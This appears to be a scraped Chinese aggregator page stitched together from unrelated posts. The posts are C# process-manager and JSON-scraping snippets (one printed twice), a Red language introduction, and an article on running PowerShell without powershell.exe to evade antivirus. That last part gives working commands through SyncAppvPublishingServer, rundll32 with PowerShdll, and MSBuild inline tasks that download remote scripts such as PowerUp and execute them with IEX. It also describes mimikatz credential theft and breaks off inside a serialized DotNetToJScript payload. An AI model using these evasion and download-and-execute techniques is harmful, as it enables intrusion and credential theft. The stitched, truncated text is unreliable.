MessageBox.Show(ex.Message);
}
}
private void btnKill_Click(object sender, EventArgs e)
{
if (lbProcess.Items.Count == 0 || lbProcess.SelectedIndex == -1) return;
Process currentProccess = processes[lbProcess.SelectedIndex];// 获取当前鼠标选择的进程
currentProccess.Kill();// 杀掉进程
currentProccess.Close();// 释放进程资源
lbProcess.Items.RemoveAt(lbProcess.SelectedIndex);
lbModels.Items.Clear();
txtProcessInfo.Clear();
}
///
/// 用360浏览器打开我的博客
///
///
///
private void btnOpenIE_Click(object sender, EventArgs e)
{
// 没注册就使用绝对路径
// 打开我的博客
Process.Start(@"C:\Users\Administrator\AppData\Roaming\360se6\Application\360se.exe", "blog.huvjie.com");
}
///
/// 打开新进程,如:notepad
///
///
///
private void btnStartnew_Click(object sender, EventArgs e)
{
Process.Start(txtProcessFileName.Text.Trim());
}
}
}
  输出效果:
  
  以上是个人经历。我希望能给你推荐信。我也希望你能支持德尼奥。com

c#抓取网页数据(软件()和别的系统需要对接,数据都是json字符串)

网站优化优采云 发表了文章 • 0 个评论 • 103 次浏览 • 2022-04-19 01:26 • 来自相关话题

  c#抓取网页数据(软件()和别的系统需要对接,数据都是json字符串)
  场景描述:
  公司需要与其他系统连接。现在对方提供了一个网站。数据都是json字符串。我需要处理json数据。
  提供的json数据格式如下
  
  一、读取URL中的json数据
   public string getHtml(string html)//传入网址
{
string pageHtml = "";
WebClient MyWebClient = new WebClient();
MyWebClient.Credentials = CredentialCache.DefaultCredentials;//获取或设置用于向Internet资源的请求进行身份验证的网络凭据
Byte[] pageData = MyWebClient.DownloadData(html); //从指定网站下载数据
MemoryStream ms = new MemoryStream(pageData);
using (StreamReader sr = new StreamReader(ms, Encoding.GetEncoding("GB2312")))
{
pageHtml = sr.ReadLine();
}
return pageHtml;
}
  二、将json数据转成DataTable数据
   ///
/// Json 字符串 转换为 DataTable数据集合
///
///
///
public static DataTable ToDataTableTwo(string json)
{
DataTable dataTable = new DataTable(); //实例化
DataTable result;
try
{
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.MaxJsonLength = Int32.MaxValue; //取得最大数值
ArrayList arrayList = javaScriptSerializer.Deserialize(json);
if (arrayList.Count > 0)
{
foreach (Dictionary dictionary in arrayList)
{
if (dictionary.Keys.Count() == 0)
{
result = dataTable;
return result;
}
//Columns
if (dataTable.Columns.Count == 0)
{
foreach (string current in dictionary.Keys)
{
dataTable.Columns.Add(current, dictionary[current].GetType());
}
}
//Rows
DataRow dataRow = dataTable.NewRow();
foreach (string current in dictionary.Keys)
{
dataRow[current] = dictionary[current];
}
dataTable.Rows.Add(dataRow); //循环添加行到DataTable中
}
}
}
catch
{
}
result = dataTable;
return result;
}
  三、调用写好的方法将json转DataTable数据,得到的json字符串,name字段对应的值需要处理,转DataTable后为中文。
   string jsonStr = getHtml("http://......");//url
DataTable dt = ToDataTableTwo(jsonStr);
  四、已经转化为DataTable数据,无论做什么都很方便,所以这里省略数据处理。
  转载于: 查看全部

  c#抓取网页数据(软件()和别的系统需要对接,数据都是json字符串)
  场景描述:
  公司需要与其他系统连接。现在对方提供了一个网站。数据都是json字符串。我需要处理json数据。
  提供的json数据格式如下
  
  一、读取URL中的json数据
   public string getHtml(string html)//传入网址
{
string pageHtml = "";
WebClient MyWebClient = new WebClient();
MyWebClient.Credentials = CredentialCache.DefaultCredentials;//获取或设置用于向Internet资源的请求进行身份验证的网络凭据
Byte[] pageData = MyWebClient.DownloadData(html); //从指定网站下载数据
MemoryStream ms = new MemoryStream(pageData);
using (StreamReader sr = new StreamReader(ms, Encoding.GetEncoding("GB2312")))
{
pageHtml = sr.ReadLine();
}
return pageHtml;
}
  二、将json数据转成DataTable数据
   ///
/// Json 字符串 转换为 DataTable数据集合
///
///
///
public static DataTable ToDataTableTwo(string json)
{
DataTable dataTable = new DataTable(); //实例化
DataTable result;
try
{
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.MaxJsonLength = Int32.MaxValue; //取得最大数值
ArrayList arrayList = javaScriptSerializer.Deserialize(json);
if (arrayList.Count > 0)
{
foreach (Dictionary dictionary in arrayList)
{
if (dictionary.Keys.Count() == 0)
{
result = dataTable;
return result;
}
//Columns
if (dataTable.Columns.Count == 0)
{
foreach (string current in dictionary.Keys)
{
dataTable.Columns.Add(current, dictionary[current].GetType());
}
}
//Rows
DataRow dataRow = dataTable.NewRow();
foreach (string current in dictionary.Keys)
{
dataRow[current] = dictionary[current];
}
dataTable.Rows.Add(dataRow); //循环添加行到DataTable中
}
}
}
catch
{
}
result = dataTable;
return result;
}
  三、调用写好的方法将json转DataTable数据,得到的json字符串,name字段对应的值需要处理,转DataTable后为中文。
   string jsonStr = getHtml("http://......";);//url
DataTable dt = ToDataTableTwo(jsonStr);
  四、已经转化为DataTable数据,无论做什么都很方便,所以这里省略数据处理。
  转载于:

c#抓取网页数据(网页内容采集器)

网站优化优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-04-19 01:23 • 来自相关话题

  c#抓取网页数据(网页内容采集器)
  见预览图:./xxpyeippx/archive/2008/03/31/1131211.html运行环境windows nt/xp/2003 or Framework1.1SqlServer 2000开发环境VS 2003学习网络编程的目的,一直必须做点什么。所以我想制作一个网页内容采集器。作者主页: .How to use 测试数据来自cnBlog。如下图,用户首先填写“起始页”,即从采集开始的页面。然后填写数据库连接字符串,这里是定义插入采集的数据的数据库,然后选择表名,不用多说。网页编码,如果不出意外,大陆可以用UTF-8来爬取常规文件名:呵呵,这个工具明明是给程序员的。您必须直接填写。比如cnblogs都是数字的,所以我写了\d来帮助建表:用户指定要创建多少个varchar类型和几个text类型,主要针对短数据和长数据。如果您的表中已经有列,则可以避免使用它。程序中没有验证。在网页设置中:采集标记前后的内容:比如有xxx,如果我要采集xxx,就写“to”,意思当然是to之间的内容。以下文本框用于显示内容。点击“获取 URL”,查看它捕获的 Url 是否正确。点击“采集”将采集的内容放入数据库,然后使用Insert xx()(选择xx)直接插入目标数据。程序代码量很小(也很简单),需要修改。缺点适用于正则表达式和网络编程。因为是最简单的东西,不使用多线程,不使用其他优化方法,不支持分页。我测试了一下,得到了38条数据,使用了700M的内存。. . . 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 查看全部

  c#抓取网页数据(网页内容采集器)
  见预览图:./xxpyeippx/archive/2008/03/31/1131211.html运行环境windows nt/xp/2003 or Framework1.1SqlServer 2000开发环境VS 2003学习网络编程的目的,一直必须做点什么。所以我想制作一个网页内容采集器。作者主页: .How to use 测试数据来自cnBlog。如下图,用户首先填写“起始页”,即从采集开始的页面。然后填写数据库连接字符串,这里是定义插入采集的数据的数据库,然后选择表名,不用多说。网页编码,如果不出意外,大陆可以用UTF-8来爬取常规文件名:呵呵,这个工具明明是给程序员的。您必须直接填写。比如cnblogs都是数字的,所以我写了\d来帮助建表:用户指定要创建多少个varchar类型和几个text类型,主要针对短数据和长数据。如果您的表中已经有列,则可以避免使用它。程序中没有验证。在网页设置中:采集标记前后的内容:比如有xxx,如果我要采集xxx,就写“to”,意思当然是to之间的内容。以下文本框用于显示内容。点击“获取 URL”,查看它捕获的 Url 是否正确。点击“采集”将采集的内容放入数据库,然后使用Insert xx()(选择xx)直接插入目标数据。程序代码量很小(也很简单),需要修改。缺点适用于正则表达式和网络编程。因为是最简单的东西,不使用多线程,不使用其他优化方法,不支持分页。我测试了一下,得到了38条数据,使用了700M的内存。. . . 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处 如果它有用,您可以更改它以使用它。方便程序员使用,无需编写大量代码。Surance Yin@Surance Center 转载请注明出处

c#抓取网页数据(Red语言功能不弱 )

网站优化优采云 发表了文章 • 0 个评论 • 56 次浏览 • 2022-04-18 12:33 • 来自相关话题

  c#抓取网页数据(Red语言功能不弱
)
  Red 语言不是很流行的语言,它是从 REBOL 语言演变而来的,但是 Red 和它的母语 REBOL 甚至都没有进入前 50 名编程语言排名(根据最新的 TIOBE 排名)。
  但是,Red 语言是一种轻量级的编程语言,小巧玲珑,但不弱。所谓轻量级是指整个语言的写法比较接近常人的思维,接近高级语言,所以写起来很方便,编程和运行环境都非常好简单的。实际上,只有一个可执行文件。功能不弱,体现在以下几个方面:跨平台,支持解释和运行,支持编译和运行,支持内置语言级别的图形界面(GUI)开发,方便网络编程能力(例如发送电子邮件、抓取网页)等经常可以实现声明)。
  
  现在,让我们仔细看看英文原文。
  注意:我们的翻译会添加一些必要的解释。
  Red 是一种编程语言,可放入大约 1MB 的单个可执行文件中。无需安装,无需设置。
  Red是一种编程语言,它的主程序文件只有1M字节左右。不需要安装,也不需要设置。
  Red 是免费和开源的。
  Red 是免费和开源的。
  Red 被解释,但可以编译您的代码并生成单个独立的可执行文件。
  Red 语言是解释性的,但也可以编译代码(执行),并且只能生成一个可执行文件。
  * 注意:你也可以使用共享链接库来减少编译时主程序的大小。
  Red 在解释之前会进行一些编译,因此速度非常快。
  Red在解释和运行程序的时候,也会先做一些编译工作,让程序运行得更快。
  红色很简单。它的代码很干净,一点也不臃肿。
  Red 是轻量级的,代码(用 Red 编写)干净且不会臃肿。
  截至 2018 年 10 月,Red 正在开发中(alpha),但目标是:
  Red 自 2018 年以来一直在开发,目前处于 alpha 阶段,但其目标是:
  - 多平台;
  支持多种平台
  - 具有跨平台的原生GUI系统,具有UI方言和绘图(图形)方言;
  原生图形界面(GUI)系统,支持跨平台,依赖UI方言和绘图方言。
  *注:方言(dialect [ˈdaɪəlekt])是一种自REBOL语言以来就存在的“子语言”,方言一般用于某种特定的功能范围。
  - 作为一种全栈编程语言,即从非常低到非常高的级别。
  成为“全栈”编程语言,即从非常低级到非常高级(在这种情况下,Red 既像低级语言一样高性能,又像高级语言一样易于编写)。
  *注:所谓“全栈”一般是指开发者具备从后端到前端到网络和数据库的综合开发能力。前台的各种开发任务,从下往上。
  红色是 Rebol 的开源演变。如果你想尝试一些 Red 中还没有的功能,你应该下载 Rebol 并尝试一下。然而,红色是未来。
  Red 语言是 Rebol 语言的开源演变。如果你想尝试一些 Red 还没有的功能,可以尝试下载 Rebol 来体验一下。然而,红色语言是未来。
  *注意:Rebol 语言多年未更新。
  Red 由 Nenad Rakocevic 领导的一群人开发。
  Red 由 Nenad Rakocevic 领导的团队开发。
  下面通过一个小例子来体验一下Red语言程序的风格。
  红色【需要:查看】
  看法 [
  标题“加法演示”
  f1:字段“3”
  f2:字段“5.6”
  按钮“添加” [
  t1/text: rejoin [f1/text " + " f2/text " = " ((to float! f1/text) + (to float! f2/text)) ]
  ]
  返回
  t1:文本“结果将在此处显示”200
  ]
  这段代码可以在Windows或者Mac OS下运行(目前Red语言的Linux版本好像不支持GUI编程),运行后的结果如下图所示
  
  点击“加法”按钮后,对话框底部的文字会显示两个数的加法计算结果:
  
  可以看到,用Red语言实现一个图形界面程序就是这么简单,不需要任何额外的IDE开发环境,可以用文本编辑器编程,也不需要在类似JAVA的虚拟机上运行语言。老的编程驱动直接编译成操作系统对应的原生应用是不是有些诱惑?作为一个精通十几种语言的自主开发者,我想不出有什么语言可以做到这一点。
  顺便提一下各种语言的优缺点。请注意,一家之言仅供参考。另外,也不因此而推荐Red语言。相反,红语言现阶段要真正承担起一个生产系统的开发任务,显然是困难重重的:
  让我们从 2019 年 8 月的 TIOBE 编程语言开发列表中按顺序挑选主要语言:
  Java:非常好,可以算是全栈语言,但是越来越臃肿了。Eclipse、Maven以及各种配置,对于初学者甚至老程序员来说,构建新的开发环境都需要大量的准备时间。另外,JVM的存在使得运行效率低于原生C/C++等语言开发的程序。
  C:经典,在一些低级开发中仍然广泛使用,但毕竟在编写和维护方面存在不便和缺陷,经常被人诟病可能是指针操作导致的crash。
  Python:一种易于使用且具有丰富库的解释型高级计算机语言。它也是一种全栈语言。它被广泛使用,尤其是在当今蓬勃发展的人工智能中。缺点,目前为止,性能比较低,并发编程(多线程)能力较弱,代码不易加密,图形界面开发能力不强。
  C++:也是经典的面向对象开发语言。可惜最终面向对象的实现路径过于复杂,整体编程难度较高,尤其是接口编程。底层编程的效率还不错。
  C#:它也是一种优秀的开发语言。它基本上具有Java的大部分优点,并具有便捷的GUI开发能力(结合Visual Studio)。不幸的是,该平台仅限于Windows平台。其他平台虽然有方法,但是不方便。
  Visual Basic:上手容易,界面简单,但不是搭建大型系统的首选,面向对象编程也比较杂乱,也仅限于Windows平台。
  Javascript:在浏览器和从Node.JS开始的后端开发领域都有不错的表现,但我总觉得把前端语言转换成后端语言是“被迫”的。此外,Javascript 对于处理图形界面不是很好。完美,当然 HTML 本身并不完美。主要缺点是开发比较杂乱,不方便,即使是现在很多WEB框架的情况下也是如此。
  PHP:只适合网页,面向对象的处理也很通融。
  Objective C 和 Swift:都不错,但暂时主要用在 iOS 上。
  SQL:仅用于数据库操作;
  Ruby:与Python类似的情况;
  Delphi/Object Pascal:曾经很流行,并没有被认为是最方便的GUI开发语言(实际上它混淆了Delphi和它所依赖的Pascal语言),可惜商业化并没有跟上,虽然后来有一个免费的Lazarus,但是丢失的用户无法恢复。另外,Pascal语言写起来真的很麻烦。
  汇编语言:不用说,太繁琐了,普通人用它来开发是不可能的。
  Go语言(Golang):近年来后端开发的新生力量,为后端开发而生,语言层面支持的并发能力和便捷的网络开发支持是其表现之一。非常优秀,还有很多第三方库,可惜GUI开发能力有缺陷,暂时只适合后台开发。
  其他语言如 R、Dart、Rust、Lua、Scala 等仍然局限在某个应用领域,或者说专注于解决某些问题,而且大部分还是有一些不足的地方。
  最后是红语言的官网,有兴趣的可以试试,直接下载语言的主程序(不带安装包),运行时会自动配置环境第一次运行,所以建议先放到固定目录下再运行Down。
  另外,友情提示,Windows版Red运行似乎有问题,会出现类似下图的提示:
  
  使用下图所示的方法可以正常工作:
  
  也可以写一个批处理文件red.bat,放到可以找到的目录下。内容类似于:
  "d:\tools\red\red.exe" %*
  就是这样,运行效果如下图所示:
   查看全部

  c#抓取网页数据(Red语言功能不弱
)
  Red 语言不是很流行的语言,它是从 REBOL 语言演变而来的,但是 Red 和它的母语 REBOL 甚至都没有进入前 50 名编程语言排名(根据最新的 TIOBE 排名)。
  但是,Red 语言是一种轻量级的编程语言,小巧玲珑,但不弱。所谓轻量级是指整个语言的写法比较接近常人的思维,接近高级语言,所以写起来很方便,编程和运行环境都非常好简单的。实际上,只有一个可执行文件。功能不弱,体现在以下几个方面:跨平台,支持解释和运行,支持编译和运行,支持内置语言级别的图形界面(GUI)开发,方便网络编程能力(例如发送电子邮件、抓取网页)等经常可以实现声明)。
  
  现在,让我们仔细看看英文原文。
  注意:我们的翻译会添加一些必要的解释。
  Red 是一种编程语言,可放入大约 1MB 的单个可执行文件中。无需安装,无需设置。
  Red是一种编程语言,它的主程序文件只有1M字节左右。不需要安装,也不需要设置。
  Red 是免费和开源的。
  Red 是免费和开源的。
  Red 被解释,但可以编译您的代码并生成单个独立的可执行文件。
  Red 语言是解释性的,但也可以编译代码(执行),并且只能生成一个可执行文件。
  * 注意:你也可以使用共享链接库来减少编译时主程序的大小。
  Red 在解释之前会进行一些编译,因此速度非常快。
  Red在解释和运行程序的时候,也会先做一些编译工作,让程序运行得更快。
  红色很简单。它的代码很干净,一点也不臃肿。
  Red 是轻量级的,代码(用 Red 编写)干净且不会臃肿。
  截至 2018 年 10 月,Red 正在开发中(alpha),但目标是:
  Red 自 2018 年以来一直在开发,目前处于 alpha 阶段,但其目标是:
  - 多平台;
  支持多种平台
  - 具有跨平台的原生GUI系统,具有UI方言和绘图(图形)方言;
  原生图形界面(GUI)系统,支持跨平台,依赖UI方言和绘图方言。
  *注:方言(dialect [ˈdaɪəlekt])是一种自REBOL语言以来就存在的“子语言”,方言一般用于某种特定的功能范围。
  - 作为一种全栈编程语言,即从非常低到非常高的级别。
  成为“全栈”编程语言,即从非常低级到非常高级(在这种情况下,Red 既像低级语言一样高性能,又像高级语言一样易于编写)。
  *注:所谓“全栈”一般是指开发者具备从后端到前端到网络和数据库的综合开发能力。前台的各种开发任务,从下往上。
  红色是 Rebol 的开源演变。如果你想尝试一些 Red 中还没有的功能,你应该下载 Rebol 并尝试一下。然而,红色是未来。
  Red 语言是 Rebol 语言的开源演变。如果你想尝试一些 Red 还没有的功能,可以尝试下载 Rebol 来体验一下。然而,红色语言是未来。
  *注意:Rebol 语言多年未更新。
  Red 由 Nenad Rakocevic 领导的一群人开发。
  Red 由 Nenad Rakocevic 领导的团队开发。
  下面通过一个小例子来体验一下Red语言程序的风格。
  红色【需要:查看】
  看法 [
  标题“加法演示”
  f1:字段“3”
  f2:字段“5.6”
  按钮“添加” [
  t1/text: rejoin [f1/text " + " f2/text " = " ((to float! f1/text) + (to float! f2/text)) ]
  ]
  返回
  t1:文本“结果将在此处显示”200
  ]
  这段代码可以在Windows或者Mac OS下运行(目前Red语言的Linux版本好像不支持GUI编程),运行后的结果如下图所示
  
  点击“加法”按钮后,对话框底部的文字会显示两个数的加法计算结果:
  
  可以看到,用Red语言实现一个图形界面程序就是这么简单,不需要任何额外的IDE开发环境,可以用文本编辑器编程,也不需要在类似JAVA的虚拟机上运行语言。老的编程驱动直接编译成操作系统对应的原生应用是不是有些诱惑?作为一个精通十几种语言的自主开发者,我想不出有什么语言可以做到这一点。
  顺便提一下各种语言的优缺点。请注意,一家之言仅供参考。另外,也不因此而推荐Red语言。相反,红语言现阶段要真正承担起一个生产系统的开发任务,显然是困难重重的:
  让我们从 2019 年 8 月的 TIOBE 编程语言开发列表中按顺序挑选主要语言:
  Java:非常好,可以算是全栈语言,但是越来越臃肿了。Eclipse、Maven以及各种配置,对于初学者甚至老程序员来说,构建新的开发环境都需要大量的准备时间。另外,JVM的存在使得运行效率低于原生C/C++等语言开发的程序。
  C:经典,在一些低级开发中仍然广泛使用,但毕竟在编写和维护方面存在不便和缺陷,经常被人诟病可能是指针操作导致的crash。
  Python:一种易于使用且具有丰富库的解释型高级计算机语言。它也是一种全栈语言。它被广泛使用,尤其是在当今蓬勃发展的人工智能中。缺点,目前为止,性能比较低,并发编程(多线程)能力较弱,代码不易加密,图形界面开发能力不强。
  C++:也是经典的面向对象开发语言。可惜最终面向对象的实现路径过于复杂,整体编程难度较高,尤其是接口编程。底层编程的效率还不错。
  C#:它也是一种优秀的开发语言。它基本上具有Java的大部分优点,并具有便捷的GUI开发能力(结合Visual Studio)。不幸的是,该平台仅限于Windows平台。其他平台虽然有方法,但是不方便。
  Visual Basic:上手容易,界面简单,但不是搭建大型系统的首选,面向对象编程也比较杂乱,也仅限于Windows平台。
  Javascript:在浏览器和从Node.JS开始的后端开发领域都有不错的表现,但我总觉得把前端语言转换成后端语言是“被迫”的。此外,Javascript 对于处理图形界面不是很好。完美,当然 HTML 本身并不完美。主要缺点是开发比较杂乱,不方便,即使是现在很多WEB框架的情况下也是如此。
  PHP:只适合网页,面向对象的处理也很通融。
  Objective C 和 Swift:都不错,但暂时主要用在 iOS 上。
  SQL:仅用于数据库操作;
  Ruby:与Python类似的情况;
  Delphi/Object Pascal:曾经很流行,并没有被认为是最方便的GUI开发语言(实际上它混淆了Delphi和它所依赖的Pascal语言),可惜商业化并没有跟上,虽然后来有一个免费的Lazarus,但是丢失的用户无法恢复。另外,Pascal语言写起来真的很麻烦。
  汇编语言:不用说,太繁琐了,普通人用它来开发是不可能的。
  Go语言(Golang):近年来后端开发的新生力量,为后端开发而生,语言层面支持的并发能力和便捷的网络开发支持是其表现之一。非常优秀,还有很多第三方库,可惜GUI开发能力有缺陷,暂时只适合后台开发。
  其他语言如 R、Dart、Rust、Lua、Scala 等仍然局限在某个应用领域,或者说专注于解决某些问题,而且大部分还是有一些不足的地方。
  最后是红语言的官网,有兴趣的可以试试,直接下载语言的主程序(不带安装包),运行时会自动配置环境第一次运行,所以建议先放到固定目录下再运行Down。
  另外,友情提示,Windows版Red运行似乎有问题,会出现类似下图的提示:
  
  使用下图所示的方法可以正常工作:
  
  也可以写一个批处理文件red.bat,放到可以找到的目录下。内容类似于:
  "d:\tools\red\red.exe" %*
  就是这样,运行效果如下图所示:
  

c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)

网站优化优采云 发表了文章 • 0 个评论 • 76 次浏览 • 2022-04-15 06:07 • 来自相关话题

  c#抓取网页数据(无powershell运行powershell的一些姿势分享(二):PowerLine)
  原创:冷翼和田智慧
  今天给大家带来的就是不使用powershell运行powershell的一些姿势分享。由于powershell的特性,很受渗透测试爱好者的欢迎。当然,它也催生了ASMI等防御方式。当然,各种杀软也将它纳入了杀戮的行列,比如某件套装,只要叫PS就会被杀掉,实在是太恶心了。
  
  因此,在与AV的对抗中,我们也会尝试绕过执行PS。这里总结了几个不用powershell执行powershell的姿势,希望对大家在实战中有所帮助。
  以下是一个摘要列表:
  以下实验如无特别说明,均在最新版windows server 2008 sp2+360下进行。
  电源线
  PowerLine 是一个用 c# 编写的工具,支持本地命令行调用和远程调用。它可以调用 PowerShell 脚本,而无需直接调用 PowerShell。优点如下:
  下载链接:
  让我们看看如何使用它:
  先把工程拉到本地,然后运行build.bat文件
  
  然后在UserConf.xml文件中填写需要调用的powershell脚本的地址。默认自带powerup、powerview、Mimikatz等。只需按照他给的格式添加你的ps脚本地址即可。
  
  添加完成后,运行PLBuilder.exe进行构建。构建过程中,360不提示
  
  查看内置脚本 PowerLine.exe -ShowScripts
  
  运行脚本,360静音
  
  但是运行后,360提示报病毒并删除了我的exe文件……一般情况下,AV只检测到PS发送的恶意请求,但是因为在powerline中,请求是由powerline发送的,所以绕过了一部分AV,但是缺点也很明显,就是扩展性太差,所有功能都依赖配置文件……
  PowerShdll
  该工具主要使用dll来运行powershell,无需连接powershell.exe,因此具有一定的bypassAV能力。当然也可以在这些程序下运行rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或者使用作者给出的单独exe执行
  下载链接:
  exe版本使用方法:
  使用PowerShdll -i 进入交互模式,就会得到一个交互的PS环境,可以执行任意powershell命令,全程360无拦截
  
  下载mimikatz抢密码,360全程无反应...
  
  交互模式下唯一需要注意的是,你输入的内容不能太长,否则会出现问题,原因不明....
  下面我们来看看dll版本的使用情况。。
  rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent. ... p.ps1 } ^| iex;
  这次就没那么幸运了,直接被360秒杀
  
  无powershell
  NoPowerShell 是一个用 C# 实现的工具,它支持执行类似 PowerShell 的命令,同时对任何 PowerShell 日志记录机制都是不可见的。它还提供了CS下的cna脚本。
  优势:
  下载链接:
  我们来看看它的用法:
  直接运行会输出它的版本和支持的命令
  
  
  360流程无拦截
  dll版本在几秒钟内被杀死..
  
  在cs下稳定..
  
  这里需要注意的一点是,脚本默认调用脚本下的文件。国内的cs大多是脚本目录,可以自己修改文件中的目录。
  了解了相关知识,我们如何在实践中应用?登录和天网络安全实验室寻找答案。
  相关实验:CobaltStrike 的代理和 powershell
  SyncAppvPublishingServer
  SyncAppvPublishingServer是win10自带的服务。vbs和exe有两个版本。我们可以用它们来做一些类似于PS的操作。
  默认存储在 C:\Windows\System32 下
  
  使用示例:
  炸弹电脑:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
  
  或者:
  C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
  您还可以去远程下载并执行一些 ps 脚本,如下所示:
  C:\Windows\System32\SyncAppvPublishingServer.exe \" Break; (New-Object System.Net.WebClient).DownloadFile(&#39;https://raw.githubusercontent. ... 39%3B,&#39;$env:USERPROFILE/1.ps1&#39;); Start-Process &#39;$env:USERPROFILE/1.ps1&#39; -WindowStyle Minimized;"
  SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent. ... %2339;) | IEX"
  调用 MSBuild.exe:
  MSBuild 是一个收录在 .Net 框架中的工具,用于自动化创建软件产品的过程,包括编译源代码、打包、测试、部署和创建文档。
  Msbuild 依赖于 .csproj 文件,该文件具有 XML 语法并收录 .NET 构建过程的结果,类似于 unix 中的 make,代码如下:
   outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } return sb.ToString(); }}
]]>< / Code>
  test.ps1的内容如下
  echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable
  影响:
  
  全360无提示..
  github上也有一个类似的项目:
  执行后获取交互式 PS
  
  调用 cscript:
  github上有一个开源项目,可以直接生成.js文件。用法是
  Dotnettojscript.exe > testps.js
  现在作者给出了一个编译版本,但是里面总是存在一些问题:
  Error: loading assembly information.The generated script might not work correctly
  所以我们下载它并手动编译它..
  先用vs打开项目,然后切换到TestClass.cs,注释掉MessageBox方法,不然每次运行都会得到一个messageBox
  
  然后,因为需要调用PS,所以需要引入“System.Management.Automation.Runspaces”,“System.Management.Automation”,我们可以在PS下使用如下命令查询dll的位置,然后手动进口
  [psobject].Assembly.Location
  
  引入后,在TestClass中添加如下方法:
  private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}
  编译后我们得到Dotnettojscript.exe和ExampleAssembly.dll两个文件,然后我们继续从我们的test.ps1文件中生成一个js文件,
  其内容如下:
  function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;}
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz